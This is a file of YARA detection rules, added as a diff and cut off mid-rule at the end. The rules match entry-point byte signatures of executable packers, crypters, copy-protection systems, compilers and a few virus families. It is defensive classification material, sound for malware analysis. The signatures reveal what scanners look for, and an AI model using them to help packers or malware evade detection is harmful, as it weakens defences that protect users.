+rule _CopyMinder__MicrocosmLtd_
+{
+	meta:
+		description = "CopyMinder -> Microcosm.Ltd"
+	strings:
+		$0 = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V111502006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack V1.1.150.2006.Beta -> NEOx/[uinC"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+		$1 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68 54 ?? ?? ?? FF 15 00 ?? ?? ?? 8B 35 08 ?? ?? ?? 8B F8 68 44 ?? ?? ?? 57 FF D6 68 38 ?? ?? ?? 57 A3 38 ?? ?? ?? FF D6 5F A3 34 ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_v10__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v1.0 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 D2 42 40 00 8B 42 3C 03 C2 89 85 DC 42 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D F0 42 40 00 53 8F 85 94 41 40 00 BB ?? 00 00 00 B9 8C 0B 00 00 8D BD 80 43 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 40 4E 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 FD 68 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1304__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.3.0.4 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? E8 3B 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Shegerd_Dongle_V478__MSCo_
+{
+	meta:
+		description = "Shegerd Dongle V4.78 -> MS.Co."
+	strings:
+		$0 = {E8 32 00 00 00 B8 ?? ?? ?? ?? 8B 18 C1 CB 05 89 DA 36 8B 4C 24 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ DLL"
+	strings:
+		$0 = {53 55 56 8B 74 24 14 85 F6 57 B8 01 00 00 00}
+		$1 = {53 56 57 BB 01 ?? ?? ?? 8B ?? 24 14}
+		$2 = {53 B8 01 00 00 00 8B 5C 24 0C 56 57 85 DB 55 75 12 83 3D ?? ?? ?? ?? ?? 75 09 33 C0}
+		$3 = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _FreeJoiner_Small_build_014015__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 014/015) -> GlOFF"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 86 FF 68 00 01 00 00 68 F8 13 40 00 6A 00 E8 F3 01 00 00 8A C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 F8 13 40 00 E8 C9 01 00 00 A3 E0 13 40 00 40 0F 84 8B 01 00 00 90 90 90 90 90 6A 02 6A 00 6A FB FF 35 E0 13 40 00 E8 D1 01 00 00 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 E0 13 40 00 E8 B2 01 00 00 8A C0 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+		$1 = {E8 0E FE FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _StarForce_V3X_DLL__StarForce_Copy_Protection_System_
+{
+	meta:
+		description = "StarForce V3.X DLL -> StarForce Copy Protection System"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _JDPack_
+{
+	meta:
+		description = "JDPack"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_03__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 0.3 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0
+}
+rule _Obsidium_1341__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.4.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33}
+		$1 = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 C3 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v131_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.31 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 97 33 C9 41 FF D3 13 C9 FF D3 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 5B 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 58 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 89 06 AD 85 C0 75 D9 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 88 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v153_
+{
+	meta:
+		description = "DBPE v1.53"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_293_LZMA_
+{
+	meta:
+		description = "UPX 2.93 (LZMA)"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 03 00 02 00 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _IMPPacker_10__Mahdi_Hezavehi_IMPOSTER_
+{
+	meta:
+		description = "IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER"
+	strings:
+		$0 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+		$1 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+	condition:
+		$0 or $1
+}
+rule _Vx_VirusConstructorIVPbased_
+{
+	meta:
+		description = "Vx: VirusConstructor(IVP).based"
+	strings:
+		$0 = {E9 ?? ?? E8 ?? ?? 5D ?? ?? ?? ?? ?? 81 ED ?? ?? ?? ?? ?? ?? E8 ?? ?? 81 FC ?? ?? ?? ?? 8D ?? ?? ?? BF ?? ?? 57 A4 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_V2X_DLL__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect V2.X DLL -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v21_2_
+{
+	meta:
+		description = "Petite v2.1 (2)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Metrowerks_CodeWarrior_v20_Console_
+{
+	meta:
+		description = "Metrowerks CodeWarrior v2.0 (Console)"
+	strings:
+		$0 = {55 89 E5 55 B8 FF FF FF FF 50 50 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+	condition:
+		$0
+}
+rule _Borland_Cpp_for_Win32_1995_
+{
+	meta:
+		description = "Borland C++ for Win32 1995"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v062_
+{
+	meta:
+		description = "aPack v0.62"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6}
+	condition:
+		$0 at entrypoint
+}
+rule _INCrypter_03_INinY__by_z3e_NiFe_
+{
+	meta:
+		description = "INCrypter 0.3 (INinY) - by z3e_NiFe"
+	strings:
+		$0 = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B}
+		$1 = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B 85 16 17 40 00 E8 23 00 00 00 8B 85 1A 17 40 00 E8 18 00 00 00 8B 85 1E 17 40 00 E8 0D 00 00 00 8B 85 22 17 40 00 E8 02 00 00 00 EB 18 8B D6 3B 46 0C 72 0A 83 F9 01 74 0B 3B 46 34 72 06 BA 00 00 00 00 C3 58 83 FA 00 75 1A 8B 4E 10 8B 7E 0C 03 BD 02 17 40 00 83 F9 00 74 09 F6 17 31 0F 31 1F 47 E2 F7 59 83 C6 28 49 83 F9 00 75 88 8B 85 0A 17 40 00 89 44 24 1C 61 50 C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Obsidium_v13037__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.3.0.37 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB}
+		$1 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_GRUNT2Family_
+{
+	meta:
+		description = "Vx: GRUNT.2.Family"
+	strings:
+		$0 = {48 E2 F7 C3 51 53 52 E8 DD FF 5A 5B 59 C3 B9 00 00 E2 FE C3}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_12build3009_Method2__bagie_
+{
+	meta:
+		description = "SimplePack 1.2.build.30.09 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _AntiDote_v14_osCE_Sing_by_osCppCoDeR_
+{
+	meta:
+		description = "AntiDote v1.4 osCE *Sing by osC++CoDeR"
+	strings:
+		$0 = {68 95 01 00 00 E8 D0 FD FF FF 68 95 01 00 00 E8 C3 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Hide_PE_101__BGCorp_
+{
+	meta:
+		description = "Hide PE 1.01 -> BGCorp"
+	strings:
+		$0 = {BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCrypt_PE__214b215__JLab_Software_Creations_hsigned_
+{
+	meta:
+		description = "PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-signed)"
+	strings:
+		$0 = {50 6F 6C 79 43 72 79 70 74 20 50 45 20 28 63 29 20 32 30 30 34 2D 32 30 30 35 2C 20 4A 4C 61 62 53 6F 66 74 77 61 72 65 2E 00 50 00 43 00 50 00 45}
+	condition:
+		$0
+}
+rule _EXECryptor_2x__SoftComplete_Developement_
+{
+	meta:
+		description = "EXECryptor 2.x -> SoftComplete Developement"
+	strings:
+		$0 = {A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF}
+	condition:
+		$0
+}
+rule _Morphine_33__Holy_Father__Ratter29A_
+{
+	meta:
+		description = "Morphine 3.3 -> Holy_Father & Ratter/29A"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+	condition:
+		$0
+}
+rule _UPX_v30_DLL_LZMA__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX v3.0 (DLL_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 C7 0B 00 00 60 BE 00 ?? ?? ?? 8D BE 00 ?? ?? FF 57 89 E5 8D 9C 24 80 C1 FF FF 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _LOCK98_V10028__keenvim_
+{
+	meta:
+		description = "LOCK98 V1.00.28 -> keenvim"
+	strings:
+		$0 = {55 E8 00 00 00 00 5D 81 ?? ?? ?? ?? ?? EB 05 E9 ?? ?? ?? ?? EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v145__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.4.5 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C}
+		$1 = {55 8B EC 83 EC ?? 53 56 57 83 65 DC 00 F3 EB 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yzPack_10__UsAr_
+{
+	meta:
+		description = "yzPack 1.0 -> UsAr"
+	strings:
+		$0 = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _AINEXE_v230_
+{
+	meta:
+		description = "AINEXE v2.30"
+	strings:
+		$0 = {0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_10_beta__ap0x_h_
+{
+	meta:
+		description = "RLPack 1.0 beta -> ap0x (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 48 02 00 00 56 FF D3 83 C4 08 8B B5 48 02 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 83 C0 04 89 85 44 02 00 00 EB 7A 56 FF 95 F1 01 00 00 89 85 40 02 00 00 8B C6 EB 4F 8B 85 44 02 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 44 02 00 00 C7 00 20 20 20 00 EB 06 FF B5 44 02 00 00 FF B5 40 02 00 00 FF 95 F5 01 00 00 89 07 83 C7 04 8B 85 44 02 00 00 EB 01 40 80 38 00 75 FA 40 89 85 44 02 00 00 80 38 00 75 AC EB 01 46 80 3E 00 75 FA 46 40 8B 38 83 C0 04 89 85 44 02 00 00 80 3E 01 75 81 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 48 02 00 00 FF 95 FD 01 00 00 61 68 ?? ?? ?? ?? C3 60 8B 74 24 24 8B 7C}
+	condition:
+		$0 at entrypoint
+}
+rule _PKZIPSFX_v11_198990_
+{
+	meta:
+		description = "PKZIP-SFX v1.1 1989-90"
+	strings:
+		$0 = {FC 2E 8C 0E ?? ?? A1 ?? ?? 8C CB 81 C3 ?? ?? 3B C3 72 ?? 2D ?? ?? 2D ?? ?? FA BC ?? ?? 8E D0 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _MASMTASM__sig1h_
+{
+	meta:
+		description = "MASM/TASM - sig1(h)"
+	strings:
+		$0 = {CC FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+	condition:
+		$0
+}
+rule _Hitachi_Raster_Format_graphics_format_
+{
+	meta:
+		description = "Hitachi Raster Format graphics format"
+	strings:
+		$0 = {43 41 44 43 2F 4B 52 20 52 53 54}
+	condition:
+		$0
+}
+rule _Petite_21_
+{
+	meta:
+		description = "Petite 2.1"
+	strings:
+		$0 = {64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8}
+	condition:
+		$0
+}
+rule _ASPack_v103b_
+{
+	meta:
+		description = "ASPack v1.03b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1300__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 29 00 00 00}
+		$1 = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01}
+		$2 = {EB 04 ?? ?? ?? ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _NoodleCrypt_v200_Eng__NoodleSpa_
+{
+	meta:
+		description = "NoodleCrypt v2.00 (Eng) -> NoodleSpa"
+	strings:
+		$0 = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02 04 00 00 EB 01 9A E8 19 07 00 00 EB 01 9A E8 9C 00 00 00 EB 01 9A E8 9C 06 00 00 E8 00 00 00 00 0F 7E F8 EB 01 9A 8B F8 C3 E8 00 00 00 00 58 EB 01 9A 25 00 F0 FF FF 8B F8 EB 01 9A 0F 6E F8 C3 8B D0 EB 01 9A 81 C2 C8 00 00 00 EB 01 9A B9 00 17 00 00 EB 01 9A C0 0A 06 EB 01 9A 80 2A 15 EB 01 9A 42 E2 EE 0F 6E C0 EB 01 9A 0F 7E C0 EB 01 9A 8B D0 00 85 EB A5 F5 65 4B 45 45 00 85 EB B3 65 07 45 45 00 85 EB 75 C7 C6 00 85 EB 65 CF 8A 00 85 EB D5 FD C0 00 85 EB 7F E5 05 05 05 00 85 EB 7F 61 06 45 45 00 85 EB 7F}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v11_
+{
+	meta:
+		description = "EXE Stealth v1.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098b_exe_
+{
+	meta:
+		description = "aPack v0.98b (exe)"
+	strings:
+		$0 = {93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA}
+	condition:
+		$0
+}
+rule _iLUCRYPT_v4018_exe_
+{
+	meta:
+		description = "iLUCRYPT v4.018 [exe"
+	strings:
+		$0 = {8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimysPacker_10__hmimys_
+{
+	meta:
+		description = "hmimys-Packer 1.0 -> hmimys"
+	strings:
